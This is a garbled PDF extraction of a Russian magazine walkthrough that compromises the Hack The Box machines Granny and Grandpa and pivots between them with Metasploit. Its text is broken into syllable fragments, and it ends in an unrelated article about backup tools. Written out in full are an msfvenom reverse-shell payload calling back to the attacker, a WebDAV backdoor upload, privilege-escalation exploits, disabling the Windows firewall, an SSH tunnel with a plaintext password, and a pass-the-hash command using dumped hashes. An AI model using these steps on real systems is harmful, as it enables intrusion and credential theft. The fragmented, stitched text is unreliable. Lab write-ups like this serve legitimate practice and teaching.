зависит толь ко от конеч ной цели тво его про ник новения в сис тему.

Нап ример, если ты точ но зна ешь, где лежит то, что тебе нуж но, и для дос‐ 
тупа хва тит базовых при виле гий в сис теме, то мож но огра ничить ся прос‐ 
тым  , вза имо дей ство вать с которым мож но пря мо из бра узе‐ 
ра.

•

веб‐шел лом

Ес ли  же  тебе  нуж но  вни матель нее  осмотреть ся  на  хос те,  тог да  тво им
выбором  может  стать  тот  же  самый  веб‐шелл  в  связ ке  с 
на PowerShell, что в ито ге дару ет тебе реверс‐шелл.

•
пей лоадом

Ну а  если  твоя цель — пол ный  зах ват  кон тро ля  над  тач кой  с  эска лаци ей
при виле гий до адми на, тог да Meterpreter — твой путь.

•

Ко неч но, мы выберем пос ледний вари ант.

Ге нера ция пей лоада
С  помощью    соз дадим  бэк дор  с  полез ной  наг рузкой  Meterpreter
для 32‐бит ной вер сии Windows в фор мате  .

msfvenom
aspx

 

 

root@kali:~# msfvenom ‐p windows/meterpreter/reverse_tcp ‐a x86 ‐‐plat‐
form win LHOST=10.10.14.10 LPORT=31337 ‐f aspx > meterpreter/m.aspx

Да лее  я  соз дам  скрипт  авто запус ка  слу шате ля Metasploit,  что бы  не  вво дить
коман ды каж дый раз вруч ную в кон соли MSF.

# meterpreter/l.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 31337
set ExitOnSession false
exploit ‐j ‐z

cadaver
В  Kali  есть  инс тру мент  с  жут коватым  наз вани ем  cadaver  (то  есть  «труп») —
это  кон соль ный WebDAV‐кли ент,  который облегча ет  вза имо дей ствие с Web‐
DAV из коман дной стро ки.

Я ско пирую сге нери рован ный в   бэк дор в тек сто вый файл 
заг ружу его на сер вер и пере име ную в    в  инте рак тивной сес сии 

.

msfvenom ,m.txt
m.aspx ca‐

daver

 

 

root@kali:~# cp meterpreter/m.aspx m.txt 
root@kali:~# cadaver  http://10.10.10.15 

 dav:/> put m.txt
dav:/> move m.txt m.aspx

Заг рузка и переме щение бэк дора с помощью cadaver

Те перь мож но под нимать слу шате ля Metasploit и запус кать сам файл 
на сер вере (прос то обра тить ся к нему из бра узе ра).

m.aspx

 

 
root@kali:~# msfconsole ‐qr meterpreter/l.rc

За пуск лис тенера Metasploit и получе ние сес сии Meterpreter

И вот  у нас  уже есть сес сия Meterpreter от име ни NT AUTHORITY\NETWORK
SERVICE.

INFO

К  сло ву,  все  это  мож но  было  про делать  одним
кли ком  —  модуль 

 для Metasploit авто‐ 
мати зиру ет весь про цесс.

exploit/windows/iis/
iis_webdav_upload_asp

Продолжение статьи →
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БОЛЬШОЙ ПРОБРОС
ОТТАЧИВАЕМ ИСКУССТВО PIVOTING

НА ВИРТУАЛКАХ С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Шелл от име ни NT AUTHORITY\SYSTEM
Да лее  дело  тех ники:  запус тим  совет чик  по  локаль ным  уяз вимос тям
и  выберем  наугад  пер вый  попав ший ся  экс пло ит  —  бла го  тач ка  ста рая
и выбор велик.

По иск дос тупных локаль ных экс пло итов (ВМ Granny)

Пос ле минут ного ожи дания 29  уяз вимос тей были про вере ны,  и  семь из них
подош ли с высокой веро ятностью.

По выше ние при виле гий с помощью MS14‐070 (ВМ Granny)

Я выб рал   — уяз вимость вин дового сте ка TCP/IP. Повыше ние при‐ 
виле гий с помощью Metasploit заняло счи таные секун ды, и я получил при виле‐ 
гиро ван ный шелл.

MS14‐070

INFO

Ма гия  Metasploit  —  это,  конеч но,  кру то,  одна ко
за  кажущей ся  прос тотой  час то  скры вают ся
доволь но  нет риви аль ные  пас сы  с  WinAPI.  Нап‐ 
ример, на форуме Hack The Box люди час то 

 с повыше нием при виле гий без помощи
Meterpreter.

прак‐ 
тику ются

Ес ли  зас павнить  шелл  и  спро сить  ,  сер вер  отве тит,  что  ты  все
еще обла даешь пра вами не выше NETWORK SERVICE. Про исхо дит это из‐за
того,  что  пей лоад  Meterpreter  все  еще  инжекти рован  в  пер вый  про цесс,
который мы заар канили до повыше ния при виле гий. Для того что бы получить
пра ва SYSTEM из обо лоч ки cmd, дос таточ но миг рировать вре донос ный про‐ 
цесс в про цесс с соот ветс тву ющи ми при виле гиями.

whoami

Who am I?

Я выб рал   с PID   в качес тве носите ля и под селил ся к нему.cidaemon.exe 3964

Миг рация в про цесс cidaemon.exe (3964)

Те перь пра ва отоб ража ются кор рек тно.

Я спро шу сно ва: Who am I?

Де ло  за  малым:  най ти  и  вытащить  хеши  (фла ги)  юзе ра  и  адми нис тра тора.
Сде лаю  я  это  с  помощью  Meterpreter  —  а  имен но  модулей 
и  .

search
download

По луче ние фла гов (ВМ Granny)

На пос ледок пос мотрим на раз рядность ОС.

 

 

meterpreter > sysinfo 
 

 
 
 

 
 

Computer        : GRANNY
OS              : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows

Су дя по све дени ям  , наше пред положе ние о 32‐бит ной при роде Win‐
dows под твер дилось.

sysinfo

На этом вир туал ку Granny счи таю прой ден ной.

Тро фей

Пе рехо дим к Grandpa.

GRANDPA
Эту тач ку (рей тинг слож ности — 4,5 бал ла из 10) я про бегу быс трее и не буду
так под робно оста нав ливать ся на каж дом пун кте.

Hack The Box — Grandpa

Раз ведка
Nmap
Так же в два эта па прос каниру ем Nmap.

 

 

root@kali:~# nmap ‐n ‐Pn ‐oA nmap/grandpa‐initial 10.10.10.14 
root@kali:~# cat nmap/grandpa‐initial.nmap 

 
 
 

 
 

...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http
...

Ре зуль таты пов торя ются точь‐в‐точь.

 

 

root@kali:~# nmap ‐n ‐Pn ‐sV ‐sC ‐oA nmap/grandpa‐version 10.10.10.14 ‐
p80 
root@kali:~# cat nmap/grandpa‐version.nmap 

 
 

 
 

 
 

 
 

 

 
 

 

 
 

...
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http‐methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK 
DELETE PUT MOVE MKCOL PROPPATCH
|_http‐server‐header: Microsoft‐IIS/6.0
|_http‐title: Under Construction
| http‐webdav‐scan:
|   Server Type: Microsoft‐IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, 
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, 
LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

Веб
На глав ной стра нице веб‐сай та висит такая же заг лушка.

http://10.10.10.14:80/

WebDAV
Единс твен ное сущес твен ное раз личие меж ду дву мя тач ками, пожалуй, в типах
бре шей  WebDAV.  На  этой  машине  дос туп  к  заг рузке  фай лов  на  сер вер
с помощью   зап рещен для любых типов фай лов. Одна ко, пом ня о номере
вер сии IIS, я вос поль зовал ся   в свое вре мя экс пло итом для 

.  Осно выва ется  он  на  ошиб ке  фун кции  ,
которая  содер жит  уяз вимость  перепол нения  буфера  в  стро ке  одно го
из хедеров зап роса   (из арсе нала WebDAV).

PUT
на шумев шим CVE‐

2017‐7269 ScStoragePathFromUrl

PROPFIND
Ори гиналь ный PoC   на GitHub, одна ко я поль зовал ся встро енным

модулем Metasploit —  .
дос тупен
iis_webdav_scstoragepathfromurl

Экс плу ата ция перепол нения в ScStoragePathFromUrl с помощью
Metasploit

Пос ле получе ния сес сии Meterpreter ты можешь стол кнуть ся с ошиб кой прав
дос тупа. При чины воз никно вения это го бага схо жи с теми, что мы наб людали
в ана логич ной ситу ации при про хож дении Granny: пей лоаду тес но в про цес‐ 
се, в котором он сидит.

Что бы вый ти из это го положе ния, я сно ва вызову Process List и миг рирую
в тот про цесс, который обла дает нуж ными мне пол номочи ями.

Миг рация в про цесс w3wp.exe (2408)

Кста ти, что бы узнать, в какой про цесс был про веден пер вичный инжект, мож‐ 
но  вос поль зовать ся  коман дой    до  миг рации  и  пос мотреть  спи сок
активных сетевых соеди нений.

netstat

 

 
C:\windows\system32\inetsrv>netstat ‐vb

Оп ределе ние текуще го про цес са Meterpreter

Эс калация при виле гий
Здесь  все  иден тично  пре дыду щей  тач ке:  для  повыше ния  при виле гий  я  буду
исполь зовать тот же спло ит.

По иск дос тупных локаль ных экс пло итов (ВМ Grandpa)

Для поряд ка я запус тил поиск локаль ных уяз вимос тей, и спи сок ока зал ся точ‐ 
но таким же, как и у вир туал ки Granny.

По выше ние при виле гий с помощью MS14‐070 (ВМ Grandpa)

Выб рали  ,  повыси ли  при виле гии  и  получи ли  свою
сес сию.

ms14_070_tcpip_ioctl

По луче ние фла гов (ВМ Grandpa)

За бира ем наг раду, и Grandpa прой ден!

Тро фей

PIVOTING
Ну а теперь, собс твен но, то, ради чего мы сегод ня соб рались! Я про демонс‐ 
три рую  некото рые  базовые  прин ципы  проб роса  соеди нений  с  помощью
Metasploit.

Обоз начим усло вия задачи. Дано:
1. Ло каль ная ВМ ата кующе го с Kali  Linux    которая  име ет
пря мой дос туп к ВМ Granny 

(IP:  ),10.10.14.30

(IP:  ).10.10.10.15

2. ВМ  Granny,  которая  име ет  пря мой  дос туп  к  ВМ  Grandpa 
(IP:  ).10.10.10.14

3. У ВМ ата кующе го нет пря мого дос тупа к ВМ Grandpa — вхо дящие и исхо‐ 
дящие соеди нения бло киру ются с помощью  .iptables

Тре бует ся:
1. Ус тановить соеди нение меж ду ВМ ата кующе го и ВМ Grandpa для сто рон‐ 
них ути лит (  сес сии Metasploit).вне кон тек ста

2. Ус тановить  соеди нение меж ду ВМ ата кующе го и ВМ Grandpa 
 сес сии Metasploit и получить мак сималь ные пра ва на хос те Grandpa.

в кон тек- 

сте

Ре шение...

Под готов ка
Я буду исполь зовать стан дар тный фай рвол для Linux  , что бы исклю‐ 
чить пря мое вза имо дей ствие сво его  хос та и  хос та Grandpa.  Так  я буду  уве‐ 
рен, что пра вила игры и прав да выпол няют ся.

iptables

 

 

root@kali:~# iptables ‐A OUTPUT ‐d 10.10.10.14 ‐j DROP 
root@kali:~# iptables ‐A INPUT ‐s 10.10.10.14 ‐j DROP

Бло киро вание исхо дящих соеди нений до ВМ Grandpa

Уп рощен но  схе му  под клю чения  к  скры тому  за  VPN  сег менту  (вир туаль ной)
сети лабора тории Hack The Box мож но изоб разить так.

Ло гичес кая схе ма под клю чения к лабора тории Hack The Box

Од нако в рам ках нашей задачи луч ше абс тра гиро вать ся и пред ста вить схе му
вза имо дей ствия «Ата кующий — Pivot — Grandpa» в сле дующем виде.

Вза имо дей ствие субъ ектов при реали зации схе мы Pivoting

Сле ва — ата кующий  (ВМ Kali),  посере дине — ВМ Granny,  спра ва — жер тва
(ВМ Grandpa). «Обще ние» нап рямую меж ду ата кующим и жер твой исклю чено.
Единс твен ный спо соб вза имо дей ствия — через про межу точ ный хост.

Точ ка опо ры
Хост  посере дине  —  а  имен но  Granny  —  будем  называть  точ кой  опо ры
или опор ным пун ктом (англ.  ). Через него будет переда вать ся тра фик
до Grandpa и обратно. Пер вым делом получим дос туп к точ ке опо ры, как мы
это делали ранее.

foothold

Я написал скрипт авто запус ка для Metasploit, что бы в слу чае, если что‐то
пой дет  не  так  и  нуж но  будет  переза пус кать  всю  эту  конс трук цию,  мне
не приш лось заново вруч ную вво дить коман ды.

# pivot.rc

use auxiliary/server/socks4a
set SRVPORT 9050
run ‐j

use exploit/windows/iis/iis_webdav_upload_asp
set LHOST tun0
set RHOST 10.10.10.15
set InitialAutoRunScript migrate ‐f
exploit ‐j

back

В пер вом бло ке  я  под нимаю прок си‐сер вер на  локаль ном пор те  ,  а  во
вто ром  —  исполь зую  модуль    для  получе ния  низ‐ 
копри виле гиро ван ной сес сии Meterpreter и сра зу же миг рирую в дру гой про‐ 
цесс, что бы не сло вить ошиб ку нех ватки токенов (прав дос тупа).

9050
iis_webdav_upload_asp

 

 
root@kali:~# msfconsole ‐qr pivot.rc

По луче ние сес сии Meterpreter на точ ке опо ры (взлом ВМ Granny)

Пос ле  это го  с  помощью  коман ды    я  добав ляю  пра вило  мар шру‐ 
тиза ции для откры той сес сии Meterpreter (сес сия 1).

route  add

 

 

msf5 > route add 10.10.10.14/32 1 
[*] Route added

Здесь  через  слеш  я  ука зываю  мас ку  под сети    (в  нотации
бес клас совой  адре сации  —  ),  что бы  ассо цииро вать  с  этим  пра вилом
толь ко один хост — Grandpa 

255.255.255.255
CIDR
( ).10.10.10.14

Пред варитель ные  нас трой ки  завер шены,  в  чем  мож но  убе дить ся
с помощью команд   и  .jobs route

 

 

msf5 > jobs 
msf5 > route

За пущен ные фоновые про цес сы и активные пра вила мар шру тиза ции

Пер вая коман да покажет все про цес сы, которые запуще ны на фоне Metasploit
(видим наш SOCKS‐сер вер), а вто рая выведет спи сок активных пра вил мар‐ 
шру тиза ции.

Продолжение статьи →
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БОЛЬШОЙ ПРОБРОС
ОТТАЧИВАЕМ ИСКУССТВО PIVOTING

НА ВИРТУАЛКАХ С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

SOCKS-сер вер с помощью Metasploit
Нес мотря на то что ска ниро вать пор ты мож но средс тва ми Metasploit  (с нас‐ 
тро енной там мар шру тиза цией), во мно гих слу чаях необ ходимо поль зовать ся
сто рон ними  инс тру мен тами  для  ана лиза  целевой  машины.  В  этом  нам
и  подыг рает  нас тро енный  в  пре дыду щем  раз деле  сер вер  SOCKS,  через
который  с  помощью    мож но  рас шаривать  тра фик  для  внеш них
ути лит.

proxychains

Зом би‑прок си
Не дав но в Metasploit добави лась под дер жка пятой вер сии про токо ла SOCKS,
одна ко, как быва ет со все ми новыми фичами, в ней еще пол но  . Но это
не повод расс тра ивать ся, ведь вер сия 4a уме ет прак тичес ки все то же самое
(за исклю чени ем раз ве что под дер жки аутен тифика ции), в том чис ле и резол‐ 
вить DNS‐име на в IP. В сочета нии с модулем   это дает прек расную 

  исполь зовать  ском про мети рован ный  хост  в  качес тве  обыч ного
прок си для бра узе ра и таким обра зом откры вать сай ты от име ни жер твы.

ба гов

route воз‐ 
можность

Я уста нов лю    (чет вертая  вер сия),  так  как она  всег да  казалась
мне более ста биль ной, и запущу ска ниро вание Nmap через SOCKS‐прок си.

proxychains‐ng

 

 

root@kali:~# apt install proxychains4 
root@kali:~# proxychains4 nmap ‐n ‐v ‐Pn ‐sT 10.10.10.14 ‐p80

Ска ниро вание ВМ Grandpa через SOCKS‐прок си

Мож но убе дить ся, что 80‐й порт на хос те Grandpa открыт.
К  сожале нию,  воз можнос ти Nmap  весь ма  огра ничен ны  в  слу чае  исполь‐ 

зования  сквозь    (нет  под дер жки  тихого  SYN‐ска ниро вания,
потому  что    не  понима ет  краф товые  пакеты,  нет  опре деле ния
вер сий сер висов, да и ско рость оставля ет желать луч шего), одна ко это все го
лишь при мер, и точ но так же мож но исполь зовать боль шинс тво дру гих ути лит.

proxychains
proxychains

Нас трой ки   находят ся в фай ле  .
Там  мож но  изме нить  номер  пор та,  где  рас положи лась  прок ся  (мы  исполь‐ 
зовали дефол тный  ).

proxychains‐ng /etc/proxychains4.conf

9050
На  этом  эта пе  нашу  вооб ража емую  схе му  мож но  допол нить  помет ками

об исполь зовании SOCKS‐сер вера и мар шру тов Metasploit.

По явле ние SOCKS‐сер вера и мар шру тов Metasploit в схе ме вза имо дей ‐
ствия

Ре вер сивный SSH-тун нель
Что бы иметь воз можность «общать ся» с Grandpa в рам ках сес сии Metasploit,
мы дол жны нас тро ить мар шру тиза цию через foothold обратно на наш хост.

Из‐за  того  что  я  искусс твен но  дро паю  тра фик  меж ду  собой  и  Grandpa,
пос ледний не может до меня дос тучать ся (рав но как и я отве тить ему), и нам
необ ходимо  про ложить  эту  часть  мос та  ком муника ций  вруч ную.  Сде лать
это мож но с помощью SSH‐тун неля от точ ки опо ры до машины ата кующе го.

«Почему  бы  в  таком  слу чае  прос то  не  исполь зовать    вмес то
дефол тно го    и  не  замора чивать ся  с  каким‐то  там  SSH?»  —
можешь  поин тересо вать ся  ты.  Дей стви тель но,  так  сде лать  мож но,  одна ко
обратные под клю чения всег да пред почти тель нее: они надеж нее с точ ки зре‐ 
ния безопас ности (к bind‐шел лу может под клю чить ся кто угод но), а фай рво лы
чаще руга ются имен но на подоз ритель ные   соеди нения...

bind_tcp
reverse_tcp

вхо дящие

Ревер сивный проб рос пор тов
В  пос ледней  ревизии  Metasploit  модуль    (из  сос тава  Meterpreter)
обза вел ся  опци ей  ,  которая  в  теории  поз воля ет  кон фигури ровать
обратный проб рос пор та с жер твы на машину хакера. Таким спо собом тоже
мож но  было  бы  нас тро ить  при ем  дан ных  от  Granny,  одна ко  в  этом  кей се
у меня не получи лось:   отка зывал ся соз давать релей, руга ясь имен но
на флаг  .

portfwd
‐R

portfwd
‐R

Ес ли бы на ВМ Granny был уста нов лен PowerShell, луч шим решени ем было бы
 SSH‐сер вер имен но там и под клю чать ся к SSH с кли ента Kali, ука‐ 

зывая  при  этом  опцию    (SSH  Reverse  Tunneling).  Но,  к  сожале нию,  PS
на  про межу точ ном  хос те  не  ока залось,  поэто му  в  роли  сер вера  вынуж дена
была выс тупить машина ата кующе го.

раз вернуть
‐R

От клю чаем фай рвол
Что бы проб росить SSH‐тун нель c Granny до Kali, спер ва при дет ся отклю чить
фай рвол на Windows Server. Сде лать это мож но толь ко с при виле гиями адми‐ 
на, поэто му мне приш лось сно ва вос поль зовать ся MS14‐070.

По луча ем мак сималь ные пра ва на фут холде

Те перь мож но спав нить шелл и делать все, что душе угод но.

 

 

C:\WINDOWS\system32>netsh firewall set opmode disable 
 netsh firewall set opmode disable

Ok.

PuTTY из кон соли
Соз давать  тун нель  будем  с  помощью  кон соль ного  SSH‐кли ента
для Windows — Plink (ана лог PuTTY для коман дной стро ки). Его мож но 
или прос то най ти в Kali, в раз деле готовых бинарей для вин ды.

ска чать

 

 

root@kali:~# locate plink.exe 
/usr/share/windows‐resources/binaries/plink.exe

Заб росим Plink  на Windows Server  с  помощью Meterpreter.  Я  выб рал  дирек‐ 
торию, которая апри ори дос тупна для записи, —  .C:\Inetpub\wwwroot

 

 

meterpreter > upload plink.exe "c:\inetpub\wwwroot" 
 [*] uploading  : plink.exe ‐> c:\inetpub\wwwroot

[*] uploaded   : plink.exe ‐> c:\inetpub\wwwroot\plink.exe

Те перь  соз дадим  вспо мога тель ного  поль зовате ля    на  сво ей
машине  (что бы  не  под нимать  тун нель  от  име ни  root),  зададим  для  него
пароль   и запус тим SSH‐сер вер.

snovvcrash

qwe123

 

 

root@kali:~# useradd snovvcrash 
root@kali:~# passwd snovvcrash 

 
 

 
root@kali:~# service ssh start

New password: qwe123
Retype new password: qwe123
passwd: password updated successfully

Еще я лишу это го поль зовате ля воз можнос ти выпол нять коман ды — изме ню
дефол тный шелл  на    в фай ле  .  Выпол нять  коман ды
ему незачем, а вот безопас ность схе мы от это го толь ко повысит ся.

/bin/false /etc/passwd

Ре дак тиру ем login‐шелл для поль зовате ля snovvcrash

Те перь все готово и мож но прок ладывать SSH‐тун нель. Из коман дной стро ки
Windows я выпол ню такую коман ду.

 

 

C:\Inetpub\wwwroot>plink.exe ‐l snovvcrash ‐pw qwe123 ‐L 
10.10.10.15:8888:10.10.14.30:8888 ‐N 10.10.14.30

Соз дание SSH‐тун неля от ВМ Granny до Kali

Это  озна чает  при мер но  сле дующее:  «Granny,  перенап равляй,  пожалуй ста,
все,  что  пос тупит  в  порт    интерфей са    по  адре су 

 через SSH‐тун нель». Про верить работос пособ ность мож‐ 
но с помощью обыч ного  .

8888 ,10.10.10.15
10.10.14.30:8888

nc

Про веря ем работос пособ ность соз данно го тун неля

Об ращаю  вни мание,  что бы  не  воз никло  путани цы:  тун нель  был  соз дан
с опци ей   с хос та Granny, поэто му по отно шению к машине ата кующе го он
будет «пря мым». Если же пос мотреть на эту схе му со сто роны Kali, то тун нель
логич нее называть «ревер сивным».

‐L

Те перь наша схе ма выг лядит так.

SSH‐тун нель появил ся на схе ме вза имо дей ствия

Hack Grandpa!
Все готово, и мож но (во вто рой раз) ском про мети ровать сис тему Grandpa.

Для  это го  я  опять  выберу  экс пло ит  ,
но в этот раз его нас трой ка будет нем ного отли чать ся: на роль машины ата‐ 
кующе го  ( )  я  наз начу  хост  Granny    а  в  роли  пор та
для при вяз ки хен дле ра ( ) выс тупит порт   (через который все будет
отправ лять ся на Kali по SSH‐тун нелю).

iis_webdav_scstoragepathfromurl

LHOST ( ),10.10.10.15
LPORT 8888

Взлом ВМ Grandpa с помощью iis_webdav_scstoragepathfromurl через ВМ
Granny

Пос ле экс плу ата ции я повышу при виле гии с помощью еще нас не под водив‐ 
шего MS14‐070.

Эс калация при виле гий на ВМ Grandpa

Мож но открыть сес сию Meterpreter и пос мотреть информа цию о сис теме.

 

 

meterpreter > sysinfo 
 

 
 
 

 
 

Computer        : GRANPA
OS              : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 2
Meterpreter     : x86/windows

Мы  зах ватили  пол ный  кон троль  над  Grandpa,  не  обме няв шись  с  ним  нап‐ 
рямую ни одним битом информа ции. Ура, задача решена!

Проб рос пор тов до локаль ного сер виса
На слад кое рас смот рим еще один кейс перенап равле ния тра фика.

Фай рвол на Grandpa ник то не отклю чал, поэто му мы не можем так прос то
получить  дос туп  к  его  SMB‐ресур су  извне  (в  спис ке  откры тых  пор тов Nmap
не  было  445‐го,  как  ты  пом нишь).  Одна ко  вот  что  мы  можем  сде лать:
с помощью Meterpreter проб росить свой локаль ный порт   с Kali до машины
Grandpa, вытащив таким обра зом на повер хность сер вис SMB с Grandpa.

445

 

 

meterpreter > portfwd add ‐l 445 ‐p 445 ‐r 127.0.0.1 
 Local TCP relay created: :445 ↔ 127.0.0.1:445[*]

Этой  коман дой  я  говорю,  что  локаль ный  порт    (флаг  )  машины  ата‐ 
кующе го дол жен ассо цииро вать ся с откры той сес сией Meterpreter, а все, что
в  него  попада ет,  дол жно  быть  переда но  на  уда лен ный  порт    (флаг  )
машины‐жер твы  (флаг  )  по  интерфей су    (так  как SMB дос тупен
локаль но на Windows Server). Если пов торно запус тить Nmap и прос каниро‐ 
вать 445‐й порт (заметь, уже на локал хосте) — о чудо, он ока жет ся откры тым!

445 ‐l

445 ‐p
‐r 127.0.0.1

Ска ниру ем проб рошен ный с Grandpa 445‐й порт

То есть поверх уже нас тро енно го в Metasploit мар шру та мы проб росили порт
 с машины ата кующе го до пор та   на ВМ Grandpa, который преж де был

дос тупен  толь ко  на  loopback‐интерфей се  из‐за  пра вил  фай рво ла.  В  честь
это го завер шим обновле ние нашей схе мы вза имо дей ствия, добавив на нее
проб рос 445‐го пор та.

445 445

Проб рос пор та 445 с машины ата кующе го до ВМ Grandpa

Pass-the-Hash
Так  как  это Windows Server  2003,  тебе  не  сос тавит боль шого  тру да  вскрыть
шару  SMB,  ведь  здесь  все  еще  акту аль ны  LM‐хеши  для  хра нения  паролей.
А они лома ются на раз. Одна ко я пой ду по еще более прос тому пути.

Со бира ем дамп хешей паролей на ВМ Grandpa

Бла года ря    я  могу  сдам пить  пару  хешей    из  базы
дан ных  SAM  и  про вес ти  ата ку  Pass‐the‐Hash  с  помощью  внеш ней  ути литы

, вхо дящей в сос тав тул кита  .

hashdump LMHASH:NTHASH

psexec.py Impacket

 

 

root@kali:~# ./psexec.py ‐hashes 
'0a70918d669baeb307012642393148ab:34dec8a1db14cdde2a21967c3c997548' Ad‐
ministrator@127.0.0.1 

 
  

 
 

 
 

 
 

 
Microsoft Windows   Copyright 1985‐2003 Microsoft Corp. 
  
C:\WINDOWS\system32>whoami 

Impacket v0.9.20 ‐ Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 127.0.0.1.....
[*] Found writable share C$
[*] Uploading file NNDHtRms.exe
[*] Opening SVCManager on 127.0.0.1.....
[*] Creating service tWni on 127.0.0.1.....
[*] Starting service tWni.....
[!] Press help for extra shell commands

Version 5.2.3790

nt authority\system

Те перь дей стви тель но всё.

WWW
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ТРЮКИ

«Полетел диск» — это всег да событие. Если оно про исхо дит
в  небе  при  боль шом  сте чении  народа,  впо ру  ждать  репор‐ 
тажей  по  телеви дению  и  вос торжен ных  ком мента риев
от  уфо логов.  Если  же  это  слу чилось  на  тво ем  ком пе,  все
гораз до  печаль нее:  при дет ся  кро пот ливо  вос ста нав ливать
потерян ные фай лы и наде ять ся, что самое цен ное не погиб‐ 
ло без воз врат но. А мож но это го и вов се избе жать, если  ты
успел  сде лать  резер вные  копии,  для  соз дания  которых
челове чес тво при дума ло спе циаль ные авто мати зиро ван ные
прог раммы. Обзо ру  самых  популяр ных  из  них  и  пос вящена
эта статья.

НО ШТИРЛИЦ УСПЕЛ СОХРАНИТЬСЯ
Не обхо димо  заранее  делать  резер вные  копии  самых  цен ных  фай лов  —
это  оче вид но  и  дол жно  у  любого  поль зовате ля  вой ти  в  при выч ку,  как  мыть
руки  перед  едой  или  надевать  шап ку  на  морозе.  Прав да,  любите лей  отмо‐ 
розить  уши с  годами мень ше не  ста новит ся,  а  потому  ком пании,  спе циали‐ 
зиру ющиеся на вос ста нов лении дан ных, в боль шинс тве сво ем не бедс тву ют.
Поис тине  золотой  век  для  них  нас тупил  с  началом  мас сового  рас простра‐ 
нения тро янов‐энко деров, ког да пос тра дав шие, чьи фай лы ока зались зашиф‐ 
рованы  вре донос ными  прог рамма ми,  .  Сей час  эпи‐ 
демии шиф роваль щиков вро де бы понем ногу пош ли на спад, но защищать ся
от потери цен ных дан ных по‐преж нему важ но. Любая  тех ника,  к сожале нию,
может сло мать ся. А некото рая — еще и вне зап но.

ис числя лись  тысяча ми

Оче вид но  и  то,  что  копиро вать  информа цию  нуж но  на  внеш ние  накопи‐ 
тели,  незави симые  от  основно го  устрой ства  хра нения  дан ных.  Если  прос то
сох ранить  фай лы  в  сосед нем  раз деле  жес тко го  дис ка,  он  с  высокой  долей
веро ятности  нак роет ся  вмес те  с  вин честе ром,  если  у  того  воз никнут  проб‐ 
лемы  с  аппа рат ной  частью  или  логикой.  Рань ше  для  этих  целей  исполь‐ 
зовались  опти чес кие  дис ки,  но  они,  во‐пер вых,  недол говеч ны,  во‐вто рых,
огра ниче ны  по  объ ему  и  мак сималь ному  чис лу  ите раций  записи,  в‐треть их,
сама ско рость обра щения к опти чес кому накопи телю очень невели ка, в‐чет‐ 
вертых,  пишущие  при воды  ско ро  мож но  будет  отыс кать  раз ве  что  в  музее,
в‐пятых…  Да  и  хва тит,  пожалуй.  Уже  перечис ленных  при чин  дос таточ но
для  того,  что бы  ответс твен но  заявить:  опти ка  —  прош лый  век,  хотя  очень
мно гие ком пании (да и прос тые поль зовате ли) до сих пор хра нят архи вы сво‐ 
их докумен тов на DVD.

Ти пич ный архив бэкапов круп ной ком пании. Пол день, XXI век

Флеш ки  из‐за  нез начитель ных  объ емов  и  низ кой  ско рос ти  работы  с шиной
USB тоже не слиш ком хорошо годят ся для резер вно го копиро вания. Поэто му
опти маль ный  вари ант  —  внеш ний  жес ткий  диск  либо  SSD‐накопи тель,
облачное  хра нили ще  или  уда лен ный  FTP‐сер вер.  Еще  одним  вари антом
может  быть  NAS — Network‐Attached  storage,  так  называ емое  сетевое  хра‐ 
нили ще.  По  срав нению  с  внеш ним  вин честе ром  оно  выиг рыва ет  тем,  что
не  тре бует  непос редс твен ного  под клю чения  к  компь юте ру:  NAS  —  сам
по себе мини‐компь ютер, основная задача которо го зак люча ется в орга низа‐ 
ции обме на дан ными по сети и записи их на диск или RAID‐мас сив. Про шив ка
NAS,  как  пра вило,  базиру ется  на  каком‐либо  силь но  обре зан ном  вари анте
Linux.

Ус трой ство  тихо живет себе в локаль ной сети, играя роль сетево го фай‐ 
лооб менни ка, на который мож но закачать что угод но, этим и удоб но — к нему
мож но  обра тить ся  в  любой  момент,  нап ример  авто мати чес ки  ско пиро вать
на него фай лы по рас писанию или во вре мя прос тоя рабоче го компь юте ра.
В этом кро ется и один из недос татков NAS: боль шинс тво тро янов‐энко деров
прек расно  уме ет  шиф ровать  содер жимое  при соеди нен ных  к  Windows
сетевых папок, да и в про шив ке самих хра нилищ иног да обна ружи вают ся уяз‐ 
вимос ти,  которы ми  поль зуют ся  зло умыш ленни ки.  Так,  в  2014  году  тро ян
под  наз вани ем    шиф ровал  фай лы,  раз мещен ные
на сетевых хра нили щах про изводс тва одной извес тной ком пании, и тре бовал
за их вос ста нов ление 350 дол ларов. Про никал он туда, исполь зуя уяз вимость
в про шив ке девай са. Раз работ чик быс тро залатал дыру, но те поль зовате ли,
что не успе ли вов ремя обно вить ся, все‐таки пос тра дали от этой угро зы.

Trojan.Encoder.737

Те перь  давай  раз берем ся  с  тем,  какие  типы  резер вных  копий  вооб ще
быва ют на све те. Чаще все го встре чают ся три вари анта:

пол ное  копиро вание  —  ког да  соз дает ся  пол ная  копия  всех  выб ранных
дан ных;

•

ин кре мен тное копиро вание — ког да в копию добав ляют ся толь ко фай лы,
изме нен ные с момен та любого пос ледне го копиро вания;

•

диф ферен циаль ное — добав ление в архив толь ко дан ных, изме нив шихся
с момен та сох ранения пос ледней пол ной копии.

•

Итак,  пред ста вим  себе,  что  мес то,  где  мы  собира емся  хра нить  резер вные
копии, у нас есть: это внеш ний диск, NAS или обла ко. Но боль ше все го внед‐ 
рить резер вное копиро вание в пов седнев ную прак тику меша ет эле мен тарная
лень. Дей стви тель но: нуж но ведь отвлечь ся от любимых игру шек, вспом нить,
